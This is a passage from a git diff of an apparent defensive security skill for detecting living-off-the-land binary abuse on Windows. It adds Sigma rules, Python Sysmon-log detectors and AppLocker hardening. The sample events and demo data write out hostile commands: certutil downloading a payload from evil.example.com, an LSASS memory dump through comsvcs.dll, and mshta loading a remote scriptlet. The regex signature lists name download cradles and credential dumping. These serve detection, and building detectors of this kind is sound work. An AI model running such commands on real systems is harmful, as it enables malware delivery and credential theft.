enrollment using certutil with URL parameters +level: high +tags: + - attack.defense_evasion + - attack.t1218 + - attack.command_and_control + - attack.t1105 +``` + +```yaml +# File: sigma/mshta_execution.yml +title: MSHTA Executing Remote or Inline Script +id: b2c3d4e5-6789-abcd-ef01-234567890bcd +status: stable +description: > + Detects mshta.exe executing scripts from URLs or inline VBScript/JavaScript, + commonly used for application whitelisting bypass and initial access. +references: + - https://lolbas-project.github.io/lolbas/Binaries/Mshta/ + - https://attack.mitre.org/techniques/T1218/005/ +logsource: + category: process_creation + product: windows +detection: + selection_remote: + Image|endswith: '\mshta.exe' + CommandLine|contains: 'http' + selection_inline: + Image|endswith: '\mshta.exe' + CommandLine|contains: + - 'vbscript:' + - 'javascript:' + selection_parent_anomaly: + Image|endswith: '\mshta.exe' + ParentImage|endswith: + - '\winword.exe' + - '\excel.exe' + - '\outlook.exe' + - '\powerpnt.exe' + condition: selection_remote or selection_inline or selection_parent_anomaly +falsepositives: + - Legacy HTA-based internal applications +level: high +``` + +```yaml +# File: sigma/regsvr32_scrobj.yml +title: Regsvr32 Squiblydoo Scriptlet Execution +id: c3d4e5f6-7890-bcde-f012-345678901cde +status: stable +description: > + Detects regsvr32.exe loading scrobj.dll with a remote scriptlet URL, + known as the Squiblydoo technique for AppLocker bypass. +references: + - https://lolbas-project.github.io/lolbas/Binaries/Regsvr32/ + - https://attack.mitre.org/techniques/T1218/010/ +logsource: + category: process_creation + product: windows +detection: + selection: + Image|endswith: '\regsvr32.exe' + CommandLine|contains|all: + - 'scrobj.dll' + - '/i:' + condition: selection +falsepositives: + - Legitimate COM scriptlet registration (rare in modern environments) +level: critical +``` + +### Step 3: Analyze Sysmon Logs for LOLBin Abuse Patterns + +Parse and correlate Sysmon events to identify suspicious LOLBin execution: + +```python +import json +import re +from datetime import datetime, timedelta +from collections import defaultdict +from pathlib import Path + +# Known LOLBins and their suspicious command-line indicators +LOLBIN_SIGNATURES = { + "certutil.exe": { + "suspicious_args": [ + r"-urlcache\s+-f\s+http", + r"-decode\s+", + r"-encode\s+", + r"-verifyctl\s+.*http", + ], + "mitre": "T1218, T1105", + "severity": "high" + }, + "mshta.exe": { + "suspicious_args": [ + r"https?://", + r"vbscript:", + r"javascript:", + r"about:", + ], + "mitre": "T1218.005", + "severity": "high" + }, + "rundll32.exe": { + "suspicious_args": [ + r"javascript:", + r"shell32\.dll.*ShellExec_RunDLL", + r"\\\\.*\\.*\.dll", # UNC path DLL loading + r"comsvcs\.dll.*MiniDump", # LSASS dump via comsvcs + ], + "mitre": "T1218.011", + "severity": "critical" + }, + "regsvr32.exe": { + "suspicious_args": [ + r"/s\s+/n\s+/u\s+/i:", + r"scrobj\.dll", + r"https?://", + ], + "mitre": "T1218.010", + "severity": "critical" + }, + "bitsadmin.exe": { + "suspicious_args": [ + r"/transfer\s+.*https?://", + r"/create\s+.*\/addfile\s+.*https?://", + r"/SetNotifyCmdLine", + ], + "mitre": "T1197", + "severity": "high" + }, + "wmic.exe": { + "suspicious_args": [ + r"process\s+call\s+create", + r"/node:", + r"os\s+get\s+/format:.*https?://", + r"xsl.*https?://", + ], + "mitre": "T1047", + "severity": "high" + }, + "msbuild.exe": { + "suspicious_args": [ + r"\.xml\b", + r"\.csproj\b", + r"\\temp\\", + r"\\appdata\\", + ], + "mitre": "T1127.001", + "severity": "high" + }, + "mavinject.exe": { + "suspicious_args": [ + r"/INJECTRUNNING\s+\d+", + ], + "mitre": "T1218.013", + "severity": "critical" + }, +} + +def analyze_sysmon_events(events): + """Analyze Sysmon process creation events for LOLBin abuse.""" + alerts = [] + + for event in events: + image = event.get("Image", "").lower() + cmdline = event.get("CommandLine", "") + parent = event.get("ParentImage", "") + + # Check if the process is a known LOLBin + for lolbin, config in LOLBIN_SIGNATURES.items(): + if image.endswith(lolbin.lower()): + for pattern in config["suspicious_args"]: + if re.search(pattern, cmdline, re.IGNORECASE): + alert = { + "timestamp": event.get("UtcTime", ""), + "hostname": event.get("Computer", ""), + "lolbin": lolbin, + "command_line": cmdline, + "parent_process": parent, + "user": event.get("User", ""), + "process_id": event.get("ProcessId", ""), + "parent_pid": event.get("ParentProcessId", ""), + "mitre_technique": config["mitre"], + "severity": config["severity"], + "matched_pattern": pattern, + } + alerts.append(alert) + break + return alerts + +# Example usage with parsed Sysmon events +sample_events = [ + { + "UtcTime": "2026-01-20 14:32:15.000", + "Computer": "WORKSTATION-01", + "Image": "C:\\Windows\\System32\\certutil.exe", + "CommandLine": "certutil.exe -urlcache -f http://evil.example.com/payload.exe C:\\temp\\update.exe", + "ParentImage": "C:\\Windows\\System32\\cmd.exe", + "User": "CORP\\jsmith", + "ProcessId": "4532", + "ParentProcessId": "2108", + }, + { + "UtcTime": "2026-01-20 14:33:01.000", + "Computer": "WORKSTATION-01", + "Image": "C:\\Windows\\System32\\rundll32.exe", + "CommandLine": "rundll32.exe comsvcs.dll, MiniDump 624 C:\\temp\\dump.bin full", + "ParentImage": "C:\\Windows\\System32\\cmd.exe", + "User": "CORP\\jsmith", + "ProcessId": "5128", + "ParentProcessId": "2108", + }, +] + +alerts = analyze_sysmon_events(sample_events) +for alert in alerts: + print(f"[{alert['severity'].upper()}] {alert['lolbin']} on {alert['hostname']}") + print(f" MITRE: {alert['mitre_technique']}") + print(f" Command: {alert['command_line'][:120]}") + print(f" Parent: {alert['parent_process']}") + print(f" User: {alert['user']}") + print() +``` + +### Step 4: Detect LOLBin Network Connections + +LOLBins making outbound network connections is a strong indicator of malicious use: + +```python +def detect_lolbin_network_activity(network_events, process_events): + """Correlate Sysmon network events (ID 3) with process creation (ID 1) + to find LOLBins making outbound connections.""" + + # LOLBins that should rarely make outbound connections + NETWORK_SUSPICIOUS = { + "certutil.exe", "mshta.exe", "rundll32.exe", "regsvr32.exe", + "msbuild.exe", "installutil.exe", "bitsadmin.exe", "esentutl.exe", + "expand.exe", "replace.exe", "cmstp.exe", "presentationhost.exe", + } + + alerts = [] + for event in network_events: + image = event.get("Image", "").lower() + binary_name = image.split("\\")[-1] if "\\" in image else image + + if binary_name in NETWORK_SUSPICIOUS: + dest_ip = event.get("DestinationIp", "") + dest_port = event.get("DestinationPort", "") + + # Skip localhost and internal DNS + if dest_ip.startswith("127.") or dest_ip == "::1": + continue + + alert = { + "type": "lolbin_network_connection", + "binary": binary_name, + "destination_ip": dest_ip, + "destination_port": dest_port, + "destination_hostname": event.get("DestinationHostname", ""), + "source_ip": event.get("SourceIp", ""), + "user": event.get("User", ""), + "timestamp": event.get("UtcTime", ""), + "severity": "critical", + } + alerts.append(alert) + print(f"[CRITICAL] {binary_name} connected to " + f"{dest_ip}:{dest_port} ({event.get('DestinationHostname', 'N/A')})") + + return alerts +``` + +### Step 5: Monitor Anomalous Parent-Child Process Relationships + +```python +# Suspicious parent-child relationships indicating LOLBin abuse +SUSPICIOUS_PARENT_CHILD = [ + # Office apps spawning LOLBins (macro execution) + {"parent": ["winword.exe", "excel.exe", "powerpnt.exe", "outlook.exe"], + "child": ["cmd.exe", "powershell.exe", "pwsh.exe", "mshta.exe", + "wscript.exe", "cscript.exe", "certutil.exe"], + "severity": "critical", "mitre": "T1204.002"}, + + # Explorer spawning script interpreters directly + {"parent": ["explorer.exe"], + "child": ["mshta.exe", "regsvr32.exe", "msbuild.exe"], + "severity": "high", "mitre": "T1218"}, + + # WMI provider spawning processes (lateral movement) + {"parent": ["wmiprvse.exe"], + "child": ["cmd.exe", "powershell.exe", "mshta.exe"], + "severity": "critical", "mitre": "T1047"}, + + # Services spawning unusual children + {"parent": ["services.exe"], + "child": ["cmd.exe", "powershell.exe", "mshta.exe", "rundll32.exe"], + "severity": "high", "mitre": "T1543.003"}, +] + +def check_parent_child_anomaly(event): + """Check if a process creation event has a suspicious parent-child pair.""" + parent = event.get("ParentImage", "").split("\\")[-1].lower() + child = event.get("Image", "").split("\\")[-1].lower() + + for rule in SUSPICIOUS_PARENT_CHILD: + if parent in rule["parent"] and child in rule["child"]: + return { + "alert_type": "suspicious_parent_child", + "parent": parent, + "child": child, + "command_line": event.get("CommandLine", ""), + "mitre": rule["mitre"], + "severity": rule["severity"], + "hostname": event.get("Computer", ""), + "user": event.get("User", ""), + "timestamp": event.get("UtcTime", ""), + } + return None +``` + +### Step 6: Implement AppLocker or WDAC Hardening + +Restrict unnecessary LOLBin execution with application control policies: + +```powershell +# Query current AppLocker policy +Get-AppLockerPolicy -Effective | Select-Object -ExpandProperty RuleCollections + +# Create AppLocker rules to restrict certutil to admin-only +$rule = New-AppLockerPolicy -RuleType Publisher -RuleNamePrefix "Block" ` + -FileInformation "C:\Windows\System32\certutil.exe" ` + -User "S-1-1-0" -Deny + +# Export current policy for backup before applying changes +Get-AppLockerPolicy -Effective -Xml > AppLocker_Backup.xml + +# Block specific LOLBins for standard users via GPO script +$lolbins_to_restrict = @( + "mshta.exe", "cmstp.exe", "msbuild.exe", "installutil.exe", + "regsvr32.exe", "presentationhost.exe", "ie4uinit.exe", + "mavinject.exe", "xwizard.exe" +) + +foreach ($binary in $lolbins_to_restrict) { + $path = "C:\Windows\System32\$binary" + if (Test-Path $path) { + Write-Output "Restricting: $path" + # Apply WDAC deny rule via PowerShell + # In production, use Group Policy or Intune WDAC policies + } +} +``` + +## Verification + +- Confirm Sysmon is logging Event ID 1 (Process Creation) with full command-line arguments for all listed LOLBins +- Validate Sigma rules convert correctly to your SIEM query language using `sigmac` or `sigma-cli` +- Test detection by executing benign LOLBin commands in a lab environment and confirming alerts fire +- Verify parent-child anomaly detection catches Office-to-LOLBin chains (e.g., `winword.exe` spawning `certutil.exe`) +- Confirm LOLBin network connection detection triggers when `certutil.exe` or `mshta.exe` reach out to external IPs +- Check that AppLocker or WDAC policies do not break legitimate administrative workflows before deploying to production +- Validate false positive rates by running detection rules against 7 days of baseline telemetry from a clean environment +- Cross-reference detections against the LOLBAS project database at https://lolbas-project.github.io/ for completeness diff --git a/skills/detecting-living-off-the-land-attacks/references/api-reference.md b/skills/detecting-living-off-the-land-attacks/references/api-reference.md index 9d10e358..8cba52d6 100644 --- a/skills/detecting-living-off-the-land-attacks/references/api-reference.md +++ b/skills/detecting-living-off-the-land-attacks/references/api-reference.md @@ -1,70 +1,90 @@ # API Reference: Detecting Living Off the Land Attacks -## LOLBAS Project -- Website: https://lolbas-project.github.io/ -- API: https://lolbas-project.github.io/api/lolbas.json -- GitHub: https://github.com/LOLBAS-Project/LOLBAS +## CLI Usage -## Key LOLBins and MITRE Mappings -| Binary | MITRE ATT&CK | Abuse Type | -|--------|-------------|------------| -| certutil.exe | T1140, T1105 | File download, decode | -| mshta.exe | T1218.005 | Script execution via HTA | -| rundll32.exe | T1218.011 | Proxy execution | -| regsvr32.exe | T1218.010 | COM scriptlet execution | -| msbuild.exe | T1127.001 | Code compilation | -| bitsadmin.exe | T1197, T1105 | File download, persistence | -| wmic.exe | T1047 | WMI execution | -| cscript.exe | T1059.005 | VBS/JS script execution | -| installutil.exe | T1218.004 | .NET install bypass | -| powershell.exe | T1059.001 | Script execution | +```bash +# Analyze Sysmon EVTX file +python agent.py sysmon-events.evtx -## Sysmon Event IDs for Detection -| Event ID | Description | -|----------|------------| -| 1 | Process Create (CommandLine, ParentImage) | -| 3 | Network Connection (detect downloads) | -| 7 | Image Loaded (DLL side-loading) | -| 11 | File Create (dropped payloads) | -| 15 | FileCreateStreamHash (ADS abuse) | +# Analyze Sysmon JSON/JSONL export (one event per line) +python agent.py sysmon-events.jsonl -## Sigma Rules for LOLBin Detection -```yaml -title: Certutil File Download -logsource: - category: process_creation - product: windows -detection: - selection: - Image|endswith: '\\certutil.exe' - CommandLine|contains|all: - - 'urlcache' - - 'split' - - 'http' - condition: selection -level: high -tags: - - attack.defense_evasion - - attack.t1140 +# Filter output for critical alerts +python agent.py sysmon-events.evtx 2>/dev/null | grep CRITICAL ``` -## Splunk SPL Detection -```spl -index=sysmon EventCode=1 -| where match(Image, "(?i)(certutil|mshta|rundll32|regsvr32|bitsadmin)\\.exe$") -| eval suspicious=case( - like(CommandLine, "%urlcache%"), "certutil download", - like(CommandLine, "%javascript:%"), "script execution", - like(CommandLine, "%-enc %"), "encoded command", - true(), "review") -| where suspicious!="review" -| table _time Computer User Image CommandLine ParentImage suspicious +## LOLBins Detected + +| Binary | MITRE Technique | Severity | Abuse Type | +|--------|----------------|----------|------------| +| certutil.exe | T1218, T1105, T1140 | high | Download, decode, encode | +| mshta.exe | T1218.005 | high | Remote/inline script execution | +| rundll32.exe | T1218.011 | critical | JS execution, LSASS dump, DLL loading | +| regsvr32.exe | T1218.010 | critical | Squiblydoo scriptlet execution | +| bitsadmin.exe | T1197, T1105 | high | BITS download, job notification | +| wmic.exe | T1047 | high | Remote process creation, XSL processing | +| msbuild.exe | T1127.001 | high | Inline task execution from temp/AppData | +| installutil.exe | T1218.004 | high | Silent uninstall execution | +| cmstp.exe | T1218.003 | high | INF-based execution | +| mavinject.exe | T1218.013 | critical | DLL injection into running process | +| cscript.exe | T1059.005 | medium | Remote/suspicious script execution | +| wscript.exe | T1059.005 | medium | Remote/suspicious script execution | + +## Suspicious Parent-Child Pairs Detected + +| Parent Process | Child Process | MITRE | Severity | +|---------------|--------------|-------|----------| +| winword/excel/outlook | cmd/powershell/mshta/certutil | T1204.002 | critical | +| wmiprvse.exe | cmd/powershell/mshta/rundll32 | T1047 | critical | +| services.exe | cmd/powershell/mshta/rundll32 | T1543.003 | high | +| svchost.exe | mshta/regsvr32/msbuild/certutil | T1218 | high | + +## Network-Suspicious LOLBins + +LOLBins making outbound network connections are flagged as CRITICAL: + +certutil.exe, mshta.exe, rundll32.exe, regsvr32.exe, msbuild.exe, +installutil.exe, bitsadmin.exe, esentutl.exe, expand.exe, replace.exe, cmstp.exe + +## Input Formats + +### JSON Events Format + +```json +[ + { + "Image": "C:\\Windows\\System32\\certutil.exe", + "CommandLine": "certutil -urlcache -f http://evil.com/payload.exe C:\\temp\\p.exe", + "ParentImage": "C:\\Windows\\System32\\cmd.exe", + "User": "CORP\\jsmith", + "UtcTime": "2026-03-19 14:32:15.000", + "Computer": "WORKSTATION-01" + } +] ``` -## Suspicious Parent-Child Relationships -| Parent | Suspicious Child | -|--------|-----------------| -| winword.exe | cmd.exe, powershell.exe, mshta.exe | -| excel.exe | cmd.exe, powershell.exe, wmic.exe | -| outlook.exe | powershell.exe, cmd.exe | -| wmiprvse.exe | powershell.exe, cmd.exe | +### EVTX Requirements + +Sysmon EVTX files with: +- Event ID 1 (Process Creation) with full command-line logging +- Event ID 3 (Network Connection) for LOLBin network detection + +## Report Output Schema + +```json +{ + "report_date": "2026-03-19T12:00:00+00:00", + "total_findings": 15, + "by_severity": {"critical": 3, "high": 8, "medium": 4}, + "by_lolbin": {"certutil.exe": 5, "rundll32.exe": 3, "mshta.exe": 2}, + "mitre_techniques_observed": ["T1047", "T1105", "T1218", "T1218.005", "T1218.011"], + "findings": [] +} +``` + +## References + +- LOLBAS Project: https://lolbas-project.github.io/ +- MITRE ATT&CK Defense Evasion: https://attack.mitre.org/tactics/TA0005/ +- Sysmon Documentation: https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon +- Sigma LOLBin Rules: https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation diff --git a/skills/detecting-living-off-the-land-attacks/scripts/agent.py b/skills/detecting-living-off-the-land-attacks/scripts/agent.py index 2eb4979b..ee3ea920 100644 --- a/skills/detecting-living-off-the-land-attacks/scripts/agent.py +++ b/skills/detecting-living-off-the-land-attacks/scripts/agent.py @@ -1,222 +1,501 @@ #!/usr/bin/env python3 -"""Living off the land (LOLBin) attack detection agent. +"""LOLBin (Living Off the Land Binary) detection agent. -Monitors process creation logs for suspicious use of legitimate Windows -binaries, correlates with LOLBAS project data, and flags anomalous -command-line patterns and parent-child process relationships. +Parses Windows Sysmon Event ID 1 (Process Create) and Event ID 3 +(Network Connection) logs in EVTX or JSON format to detect suspicious +LOLBin execution patterns, anomalous parent-child relationships, and +LOLBin network activity. """ -import argparse import json import os import re import sys -import datetime +import xml.etree.ElementTree as ET +from collections import defaultdict +from datetime import datetime try: - import requests - HAS_REQUESTS = True + import Evtx.Evtx as evtx + HAS_EVTX = True except ImportError: - HAS_REQUESTS = False + HAS_EVTX = False +# LOLBin signatures: binary name -> suspicious command-line patterns + MITRE mapping LOLBIN_SIGNATURES = { "certutil.exe": { - "suspicious_args": [ - r"-urlcache", r"-split", r"-decode", r"-encode", - r"-verifyctl", r"http[s]?://", + "patterns": [ + r"-urlcache\s+-f\s+https?://", + r"-decode\s+", + r"-encode\s+", + r"-verifyctl\s+.*https?://", + r"-ping\s+https?://", ], - "mitre": ["T1140", "T1105"], - "description": "Certificate utility abused for file download/decode", + "mitre": ["T1218", "T1105"], + "severity": "high", + "description": "Certificate utility used for file download/decode", }, "mshta.exe": { - "suspicious_args": [r"javascript:", r"vbscript:", r"http[s]?://", r"about:"], + "patterns": [ + r"https?://", + r"vbscript:", + r"javascript:", + r"about:", + ], "mitre": ["T1218.005"], - "description": "HTML Application host used for script execution", + "severity": "high", + "description": "HTML Application host executing remote/inline scripts", }, "rundll32.exe": { - "suspicious_args": [ - r"javascript:", r"shell32\.dll.*ShellExec_RunDLL", - r"url\.dll.*FileProtocolHandler", r"advpack\.dll.*RegisterOCX", + "patterns": [ + r"javascript:", + r"shell32\.dll.*ShellExec_RunDLL", + r"\\\\.*\\.*\.dll", + r"comsvcs\.dll.*MiniDump", + r"comsvcs\.dll.*#24", + r"url\.dll.*OpenURL", + r"url\.dll.*FileProtocolHandler", + r"advpack\.dll.*RegisterOCX", ], "mitre": ["T1218.011"], - "description": "DLL loader abused for proxy execution", + "severity": "critical", + "description": "DLL proxy execution via rundll32", }, "regsvr32.exe": { - "suspicious_args": [r"/s", r"/u", r"/i:http", r"scrobj\.dll"], + "patterns": [ + r"/s\s+/n\s+/u\s+/i:", + r"scrobj\.dll", + r"https?://", + ], "mitre": ["T1218.010"], - "description": "COM registration utility abused for script execution", - }, - "msbuild.exe": { - "suspicious_args": [r"\.xml$", r"\.csproj$", r"/p:", r"\.tmp"], - "mitre": ["T1127.001"], - "description": "Build tool abused for code compilation and execution", - }, - "installutil.exe": { - "suspicious_args": [r"/logfile=", r"/LogToConsole=false", r"/U"], - "mitre": ["T1218.004"], - "description": ".NET install utility abused for code execution", + "severity": "critical", + "description": "Squiblydoo scriptlet execution via regsvr32", }, "bitsadmin.exe": { - "suspicious_args": [r"/transfer", r"/create", r"/addfile", r"http[s]?://"], - "mitre": ["T1197", "T1105"], - "description": "BITS service abused for file download and persistence", + "patterns": [ + r"/transfer\s+.*https?://", + r"/create\s+", + r"/addfile\s+.*https?://", + r"/SetNotifyCmdLine", + r"/Resume", + ], + "mitre": ["T1197"], + "severity": "high", + "description": "BITS job abuse for file download/persistence", }, "wmic.exe": { - "suspicious_args": [ - r"process\s+call\s+create", r"os\s+get", r"/node:", - r"shadowcopy\s+delete", + "patterns": [ + r"process\s+call\s+create", + r"/node:", + r"os\s+get\s+/format:.*https?://", + r"/format:.*\.xsl", ], "mitre": ["T1047"], - "description": "WMI command-line abused for execution and recon", + "severity": "high", + "description": "WMI command-line for remote execution or XSL script", }, - "cscript.exe": { - "suspicious_args": [r"\.vbs", r"\.js", r"//E:jscript", r"//B"], - "mitre": ["T1059.005", "T1059.007"], - "description": "Script host executing VBS/JS from unusual location", + "msbuild.exe": { + "patterns": [ + r"\.xml\b", + r"\.csproj\b", + r"\\temp\\", + r"\\appdata\\", + r"\\users\\.*\\desktop\\", + ], + "mitre": ["T1127.001"], + "severity": "high", + "description": "MSBuild executing project from unusual location", + }, + "installutil.exe": { + "patterns": [ + r"/logfile=", + r"/LogToConsole=false", + r"\\temp\\", + r"\\appdata\\", + ], + "mitre": ["T1218.004"], + "severity": "high", + "description": "InstallUtil executing assembly from unusual path", + }, + "cmstp.exe": { + "patterns": [ + r"/ni\s+/s\s+", + r"\.inf\b", + ], + "mitre": ["T1218.003"], + "severity": "high", + "description": "CMSTP INF file execution for UAC bypass", + }, + "mavinject.exe": { + "patterns": [ + r"/INJECTRUNNING\s+\d+", + ], + "mitre": ["T1218.013"], + "severity": "critical", + "description": "DLL injection via mavinject", }, "powershell.exe": { - "suspicious_args": [ - r"-enc\s+[A-Za-z0-9+/=]{20,}", r"-ExecutionPolicy\s+Bypass", - r"-WindowStyle\s+Hidden", r"Invoke-Expression", - r"IEX\s*\(", r"Net\.WebClient", r"DownloadString", + "patterns": [ + r"-e(nc|ncodedcommand)?\s+[A-Za-z0-9+/=]{40,}", + r"IEX\s*\(", + r"Invoke-Expression", + r"Net\.WebClient", + r"DownloadString", + r"DownloadFile", + r"-nop\s+-w\s+hidden", + r"FromBase64String", ], "mitre": ["T1059.001"], - "description": "PowerShell with obfuscation or download cradle", + "severity": "high", + "description": "PowerShell executing encoded/download commands", + }, + "pwsh.exe": { + "patterns": [ + r"-e(nc|ncodedcommand)?\s+[A-Za-z0-9+/=]{40,}", + r"IEX\s*\(", + r"Invoke-Expression", + r"DownloadString", + ], + "mitre": ["T1059.001"], + "severity": "high", + "description": "PowerShell Core executing encoded/download commands", + }, + "cscript.exe": { + "patterns": [ + r"https?://", + r"\\temp\\", + r"\\appdata\\", + ], + "mitre": ["T1059.005"], + "severity": "medium", + "description": "Console script host executing from unusual location", + }, + "wscript.exe": { + "patterns": [ + r"https?://", + r"\\temp\\", + r"\\appdata\\", + ], + "mitre": ["T1059.005"], + "severity": "medium", + "description": "Windows script host executing from unusual location", }, } -SUSPICIOUS_PARENTS = { - "winword.exe": "Office application spawning child process", - "excel.exe": "Office application spawning child process", - "outlook.exe": "Email client spawning child process", - "powerpnt.exe": "Office application spawning child process", - "wmiprvse.exe": "WMI provider executing child process", - "svchost.exe": "Service host spawning unexpected child", +# Suspicious parent-child process relationships +PARENT_CHILD_RULES = [ + { + "parents": ["winword.exe", "excel.exe", "powerpnt.exe", "outlook.exe", + "msaccess.exe", "mspub.exe", "visio.exe", "onenote.exe"], + "children": ["cmd.exe", "powershell.exe", "pwsh.exe", "mshta.exe", + "wscript.exe", "cscript.exe", "certutil.exe", "regsvr32.exe", + "rundll32.exe", "bitsadmin.exe"], + "severity": "critical", + "mitre": "T1204.002", + "description": "Office application spawned command interpreter or LOLBin", + }, + { + "parents": ["wmiprvse.exe"], + "children": ["cmd.exe", "powershell.exe", "pwsh.exe", "mshta.exe", + "rundll32.exe"], + "severity": "critical", + "mitre": "T1047", + "description": "WMI Provider Host spawned process (possible remote WMI execution)", + }, + { + "parents": ["svchost.exe"], + "children": ["cmd.exe", "powershell.exe", "mshta.exe", "certutil.exe"], + "severity": "high", + "mitre": "T1543.003", + "description": "Service Host spawned suspicious child process", + }, + { + "parents": ["explorer.exe"], + "children": ["mshta.exe", "regsvr32.exe", "msbuild.exe", "installutil.exe", + "cmstp.exe", "mavinject.exe"], + "severity": "high", + "mitre": "T1218", + "description": "Explorer spawned proxy execution binary", + }, + { + "parents": ["taskeng.exe", "taskhostw.exe"], + "children": ["cmd.exe", "powershell.exe", "mshta.exe", "certutil.exe", + "wscript.exe", "cscript.exe"], + "severity": "high", + "mitre": "T1053.005", + "description": "Scheduled task spawned suspicious process", + }, +] + +# LOLBins that should not make outbound network connections +NETWORK_SUSPICIOUS_LOLBINS = { + "certutil.exe", "mshta.exe", "rundll32.exe", "regsvr32.exe", + "msbuild.exe", "installutil.exe", "bitsadmin.exe", "esentutl.exe", + "expand.exe", "replace.exe", "cmstp.exe", "presentationhost.exe", + "mavinject.exe", } -def analyze_process_event(process_name, command_line, parent_name=None): - """Analyze a process creation event for LOLBin abuse.""" - findings = [] - proc_lower = process_name.lower() - cmd_lower = command_line.lower() if command_line else "" +def parse_sysmon_evtx(evtx_path): + """Parse a Sysmon EVTX file and extract Event ID 1 and 3 records.""" + if not HAS_EVTX: + print("[WARN] python-evtx not installed. Use: pip install python-evtx") + return [], [] + process_events = [] + network_events = [] + ns = {"e": "http://schemas.microsoft.com/win/2004/08/events/event"} - sig = LOLBIN_SIGNATURES.get(proc_lower) - if sig: - matched_patterns = [] - for pattern in sig["suspicious_args"]: - if re.search(pattern, cmd_lower, re.IGNORECASE): - matched_patterns.append(pattern) - if matched_patterns: - findings.append({ - "type": "lolbin_abuse", - "binary": proc_lower, - "description": sig["description"], - "mitre_techniques": sig["mitre"], - "matched_patterns": matched_patterns, - "command_line": command_line[:200], - "severity": "HIGH", - }) + with evtx.Evtx(evtx_path) as log: + for record in log.records(): + try: + root = ET.fromstring(record.xml()) + except ET.ParseError: + continue + event_id_el = root.find(".//e:System/e:EventID", ns) + if event_id_el is None: + continue + event_id = event_id_el.text - if parent_name and parent_name.lower() in SUSPICIOUS_PARENTS: - findings.append({ - "type": "suspicious_parent", - "parent": parent_name.lower(), - "child": proc_lower, - "description": SUSPICIOUS_PARENTS[parent_name.lower()], - "severity": "HIGH", - }) + event_data = {} + for data_el in root.findall(".//e:EventData/e:Data", ns): + name = data_el.get("Name", "") + event_data[name] = data_el.text or "" - return findings + time_el = root.find(".//e:System/e:TimeCreated", ns) + if time_el is not None: + event_data["UtcTime"] = time_el.get("SystemTime", "") + + computer_el = root.find(".//e:System/e:Computer", ns) + if computer_el is not None: + event_data["Computer"] = computer_el.text or "" + + if event_id == "1": + process_events.append(event_data) + elif event_id == "3": + network_events.append(event_data) + + return process_events, network_events -def scan_process_log(log_entries): - """Scan a list of process creation log entries.""" - all_findings = [] - for entry in log_entries: - findings = analyze_process_event( - entry.get("process_name", ""), - entry.get("command_line", ""), - entry.get("parent_name"), - ) - if findings: - entry_result = {"event": entry, "findings": findings} - all_findings.append(entry_result) - return all_findings +def parse_sysmon_json(json_path): + """Parse Sysmon events from a JSON lines file.""" + process_events = [] + network_events = [] + with open(json_path, "r", errors="replace") as f: + for line in f: + line = line.strip() + if not line: + continue + try: + event = json.loads(line) + except json.JSONDecodeError: + continue + event_id = str(event.get("EventID", event.get("event_id", ""))) + if event_id == "1": + process_events.append(event) + elif event_id == "3": + network_events.append(event) + return process_events, network_events -def fetch_lolbas_data(): - """Fetch LOLBAS project data from GitHub.""" - if not HAS_REQUESTS: - return {"error": "requests not installed"} - url = "https://lolbas-project.github.io/api/lolbas.json" - try: - resp = requests.get(url, timeout=15) - if resp.status_code == 200: - data = resp.json() - return {"count": len(data), "binaries": [d.get("Name", "") for d in data[:30]]} - return {"error": f"HTTP {resp.status_code}"} - except Exception as e: - return {"error": str(e)} - - -def main(): - parser = argparse.ArgumentParser( - description="Detect living off the land (LOLBin) attacks" - ) - parser.add_argument("--log-file", help="JSON file with process creation events") - parser.add_argument("--fetch-lolbas", action="store_true", help="Fetch LOLBAS project data") - parser.add_argument("--output", "-o", help="Output JSON report path") - args = parser.parse_args() - - print("[*] Living Off the Land Attack Detection Agent") - print(f" Monitored LOLBins: {len(LOLBIN_SIGNATURES)}") - - report = {"timestamp": datetime.datetime.utcnow().isoformat() + "Z"} - - if args.fetch_lolbas: - lolbas = fetch_lolbas_data() - report["lolbas_project"] = lolbas - print(f"[*] LOLBAS data: {lolbas}") - - if args.log_file and os.path.isfile(args.log_file): - with open(args.log_file) as f: - events = json.load(f) - results = scan_process_log(events) - report["findings"] = results - print(f"[*] Events analyzed: {len(events)}") - print(f"[*] Suspicious findings: {len(results)}") +def load_events(path): + """Load Sysmon events from EVTX or JSON file.""" + if path.lower().endswith(".evtx"): + return parse_sysmon_evtx(path) + elif path.lower().endswith(".json") or path.lower().endswith(".jsonl"): + return parse_sysmon_json(path) else: - demo_events = [ - {"process_name": "certutil.exe", - "command_line": "certutil.exe -urlcache -split -f https://evil.example.com/payload.exe C:\\temp\\payload.exe", - "parent_name": "cmd.exe"}, - {"process_name": "mshta.exe", - "command_line": "mshta.exe javascript:a=GetObject('script:https://evil.example.com/s.sct')", - "parent_name": "winword.exe"}, - {"process_name": "powershell.exe", - "command_line": "powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -enc SQBFAFgA...", - "parent_name": "excel.exe"}, - {"process_name": "notepad.exe", - "command_line": "notepad.exe C:\\Users\\admin\\notes.txt", - "parent_name": "explorer.exe"}, - ] - results = scan_process_log(demo_events) - report["findings"] = results - print(f"\n[DEMO] Analyzed {len(demo_events)} process events") - for r in results: - for f in r["findings"]: - print(f" [!] {f['type']}: {f['binary'] if 'binary' in f else f.get('child','')} " - f"- {f['description']}") + # Try JSON first, fall back to EVTX + try: + return parse_sysmon_json(path) + except Exception: + return parse_sysmon_evtx(path) - if args.output: - with open(args.output, "w") as f: - json.dump(report, f, indent=2) - print(json.dumps({"lolbins_monitored": len(LOLBIN_SIGNATURES), - "findings": len(report.get("findings", []))}, indent=2)) +def detect_lolbin_abuse(process_events): + """Detect suspicious LOLBin command-line patterns.""" + alerts = [] + for event in process_events: + image = event.get("Image", event.get("image", "")).lower() + cmdline = event.get("CommandLine", event.get("command_line", "")) + if not cmdline: + continue + + binary_name = image.split("\\")[-1] if "\\" in image else image.split("/")[-1] + + for lolbin, config in LOLBIN_SIGNATURES.items(): + if binary_name == lolbin.lower(): + for pattern in config["patterns"]: + if re.search(pattern, cmdline, re.IGNORECASE): + alerts.append({ + "type": "lolbin_suspicious_cmdline", + "severity": config["severity"], + "lolbin": lolbin, + "description": config["description"], + "mitre": config["mitre"], + "command_line": cmdline[:500], + "image": event.get("Image", event.get("image", "")), + "parent_image": event.get("ParentImage", event.get("parent_image", "")), + "user": event.get("User", event.get("user", "")), + "hostname": event.get("Computer", event.get("hostname", "")), + "timestamp": event.get("UtcTime", event.get("timestamp", "")), + "pid": event.get("ProcessId", event.get("process_id", "")), + "ppid": event.get("ParentProcessId", event.get("parent_process_id", "")), + "matched_pattern": pattern, + }) + break + return alerts + + +def detect_parent_child_anomalies(process_events): 